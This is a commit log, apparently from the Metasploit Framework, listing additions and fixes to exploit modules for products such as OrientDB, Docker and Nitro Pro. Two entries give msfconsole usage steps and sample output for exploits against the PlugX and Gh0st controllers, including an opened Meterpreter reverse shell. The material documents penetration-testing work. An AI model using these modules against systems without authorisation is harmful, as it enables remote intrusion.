removed self.class from options on all three modules
added line to log path where loot has been stored in xtreme.rb
2017-07-30 10:14:05 -06:00
60c3882b84
Improved error handling
2017-07-30 09:07:52 +02:00
99546330f1
Added PlugX Controller Stack Overflow Module
...
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
## Verification
Run the PlugX C2 server on a target windows machine. The sample 9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6 is a Plux Type 1 server that works good for testing.
- [ ] use exploit/windows/misc/plugx
- [ ] set RHOST [ip of target]
- [ ] set target 1
- [ ] exploit
- [ ] acknowledge the "PeDecodePacket" message on the target
Sample output:
```
msf> use exploit/windows/misc/plugx
msf exploit(plugx) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > check
[*] 192.168.161.128:13579 - "\x03\xB0\x02\x00\x04\x00"
[*] 192.168.161.128:13579 The target appears to be vulnerable.
msf exploit(plugx) >
2017-07-29 10:36:42 -06:00
c336daec8d
Added Gh0st Controller Buffer Overflow Module
...
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim. This vulnerability can allow remote code execution
## Verification
Run the Gh0st C2 server on a target windows machine. The sample 0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c is a Gh0st 3.6 server that works good for testing.
- [ ] use exploit/windows/misc/gh0st
- [ ] set RHOST [ip of target]
- [ ] exploit
Sample output:
```
msf > use exploit/windows/misc/gh0st
msf exploit(gh0st) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(gh0st) > exploit
[*] Started reverse TCP handler on 192.168.161.1:4444
[*] 192.168.161.128:80 - Trying target Gh0st Beta 3.6
[*] 192.168.161.128:80 - Spraying heap...
[*] 192.168.161.128:80 - Trying command 103...
[*] Sending stage (957487 bytes) to 192.168.161.128
[*] Meterpreter session 1 opened (192.168.161.1:4444 -> 192.168.161.128:49161) at 2017-07-29 10:11:4
2017-07-29 10:21:05 -06:00
c5021bf665
Land #8761 , Add CVE-2017-7442: Nitro Pro PDF Reader JS API Code X
2017-07-28 17:02:59 -05:00
6a20e1ac7d
Add module Rancher Server - Docker Exploit
2017-07-28 08:04:21 +02:00
b2ecaa489d
Rescue only RubySMB::Error::CommunicationError
2017-07-27 19:19:45 +10:00
f2091928ec
Adding no SMBv1 error handler for ms17-010 exploit
2017-07-27 16:21:09 +10:00
4845b4b1fa
Orientdb 2.2.x RCE - Fix regular expression for version detection
2017-07-26 14:35:05 +01:00
30664924c8
Orientdb 2.2.x RCE - Reverted to send_request_raw due to issues exploiting windows boxes
2017-07-26 13:59:14 +01:00
853ae9a6ce
Add new reference
2017-07-26 02:16:56 +02:00
9c930aad6e
Add space after comma in f5_bigip_known_privkey module to coincide with Ruby style guide
2017-07-25 19:43:29 -04:00
cd418559bc
Docker Daemon - Unprotected TCP Socket Exploit
2017-07-26 00:21:35 +02:00
354869205a
make exploit/multi/handler passive
...
This gives exploit/multi/handler a makeover, updating to use more-or-less
standard Ruby, and removing any mystical hacks at the same time (like select
instead of sleep).
This also gives it a Passive stance, and sets ExitOnSession to be false by
default, which is the setting that people use 99% of the time anyway.
2017-07-24 15:47:06 -07:00
bf4dce19fb
I added the SSD advisory
2017-07-24 14:25:10 -07:00
b099196172
deregistered SSL, added the HTA dodgy try/catch feature
2017-07-24 10:28:03 -07:00
17b28388e9
Added the advisory, opps
2017-07-24 10:09:21 -07:00
14ca2ed325
Added a icon loading trick by Brendan
2017-07-24 10:06:20 -07:00
b2a002adc0
Brendan is an evil genius\!
2017-07-24 09:58:23 -07:00
cc8dc002e9
Added CVE-2017-7442
2017-07-24 08:21:59 -07:00
6300758c46
use https for metaploit.com links
2017-07-24 06:26:21 -07:00
80d18fae6a
update example modules to have zero violations
2017-07-24 06:15:54 -07:00
1d290d2491
resurrect one print_error/bad conversion for symmetry
2017-07-24 05:55:34 -07:00
8db3f74b81
fix a broken link
2017-07-24 05:53:09 -07:00
838b066abe
Merge branch 'master' into land-8716
2017-07-24 05:51:44 -07:00
6c22f785e9
Orientdb 2.2.x RCE - Fine tune vulnerable version detection; removed redundant uri normalization checking; Swapped send_request_raw for send_request_cgi; using vars_get;
2017-07-24 09:52:47 +01:00
7c55cdc1c8
fix some module documentation
...
3 modules got documentation landed in the wrong spot. This also fixes a few
typos and improves formatting.
2017-07-23 07:46:52 -07:00
e710701416
Made msftidy.rb happy
...
...untested with the set-cookie 'fix'
2017-07-21 19:55:26 -07:00
6bb745744b
Land #8471 , Add VICIdial user_authorization Unauthenticated Command Execution module
2017-07-21 15:57:08 -05:00
524373bb48
OCD - Removed un-needed full stop
2017-07-21 07:41:51 -07:00
772bec23a1
Fix various typos
2017-07-21 07:40:08 -07:00
c187f709dc
Update geutebrueck_gcore_x64_rce_bo.rb
...
Review changes with msftidy.
2017-07-21 11:37:12 +02:00
ffad0d1bbf
Land #8559 , Ipfire oinkcode exec
2017-07-19 14:31:18 -05:00
116a838cb0
Version check update and stylistic fix
2017-07-19 13:26:40 -05:00
3f6925196b
OCD - store_loot & print_good
2017-07-19 13:02:49 +01:00
ef826b3f2c
OCD - print_good & print_error
2017-07-19 12:48:52 +01:00
0f453c602e
Even more print_status -> print_good
2017-07-19 11:46:39 +01:00
b8d80d87f1
Remove last newline after class - Make @wvu-r7 happy
2017-07-19 11:19:49 +01:00
3d4feffc62
OCD - Spaces & headings
2017-07-19 11:04:15 +01:00
f3f96babb9
Orientdb 2.2.x RCE - Changed the java_craft_runtime_exec function; Tested the module against Win7-Pro-x64 with OrientDB v2.2.20 with StagerCmd flavors vbs and certutil with success
2017-07-19 10:46:10 +01:00
a008f8e795
BruteForce - > Brute Force
2017-07-19 10:39:58 +01:00
219987726f
Orientdb 2.2.x RCE - Changed the CmdStager flavor to VBS script
2017-07-18 17:18:14 +01:00
5ca523e2ce
Orientdb 2.2.x RCE - Add warning about windows
2017-07-18 17:11:54 +01:00
af0a9c2f86
Orientdb 2.2.x RCE tidy stuff
2017-07-18 17:07:29 +01:00
99ba645034
Orientdb 2.2.x RCE
2017-07-18 16:53:44 +01:00
ba92d42b57
Updated version check per @bcoles
2017-07-17 15:52:50 -05:00
2a1c661c79
Land #8723 , Razr Synapse local exploit
...
lands ZeroSteiner's Razr Synapse local priv esc module
2017-07-17 13:34:17 -05:00
b4813ce2c7
Update the pre-exploit check conditions
2017-07-15 14:48:54 -04:00
9775df1f6e
Land #8586 , Easy Chat Server 2 to 3.1 - Buffer overflow (SEH) exploit
2017-07-14 15:20:01 -05:00
ee1c87b868
Land #8172 , example modules
...
lands several example modules
2017-07-14 15:17:20 -05:00
8f6cac9c37
Land #8652 , rpc console write exploit
...
lands pr for the metasploit rpc console write exploit
2017-07-14 14:47:35 -05:00
0fde6c6b42
Land #8650 , igss9 launch path
...
land pr to fix launch path in the igss9 exploit
2017-07-14 14:39:38 -05:00
833b2a67d4
Fix the architecture check for only x64
2017-07-14 07:06:54 -04:00
4720d1a31e
OCD fixes - Spaces
2017-07-14 08:46:59 +01:00
9309115627
OCD - Banner clean up
2017-07-14 08:19:50 +01:00
fd843f364b
Removed extra lines
2017-07-14 08:17:16 +01:00
424522147e
OCD fixes - Start of *.rb files
2017-07-13 23:53:59 +01:00
5470670223
Change the hook for windows 10 compatibility
2017-07-13 11:49:06 -04:00
e43adf0223
Land #8710 , explicitly use Rex::Encoder::XDR
...
The previous use of XDR in these modules allowed for namespace collisions
with similar gems.
2017-07-12 12:01:24 -05:00
345407b0a4
Rex::Encoder::XDR conflicts with the XDR gem
2017-07-12 11:52:10 -05:00
e69460a529
Land #8683 , Remove duplicate setting of suhosin.simulation in php_cgi_arg_injection
2017-07-12 09:34:35 -05:00
55cbd9b6a9
Add headers to php_eval
2017-07-10 21:25:27 -04:00
53d5060fbd
Add the LPE for CVE-2017-9769
2017-07-10 16:57:23 -04:00
2ee6df66cf
Land #8514 , wmi persistence module
2017-07-10 09:53:55 -05:00
f4c739c190
check if running as system
2017-07-10 10:05:57 +01:00
Brent Cook
Tim W
Austin
Zenofex
bwatters-r7
vipzen
WhiteWinterWolf
Yorick Koster
Jon Hart
Robin Verton
h00die
Adam Cammack
Martin Pizala
Mehmet İnce
0xFFFFFF
William Vu
Steven Patterson
attackdebris
Patrick Webster
Maurice Popp
Spencer McIntyre
EgiX
Steven Patterson
Jeffrey Martin
mumbai
caleBot
Kent Gruber
Wei Chen
root
Wei Chen
peewpw
jakxx
William Webb
Brent Cook
Pearce Barry
ashish gahlot
Christian Mehlmauer
g0tmi1k
loftwing
Tod Beardsley
james
Patrick Thomas
dmohanty-r7
James Barnett
Calum Hutton
n00py
Louis Sato
Brendan Coles
thesubtlety
OJ
TC Johnson
Professor-plum
multiplex3r
Ricardo Almeida
1cph93
mr_me
M4P0
David Maloney
Matt Robinson
NickTyrer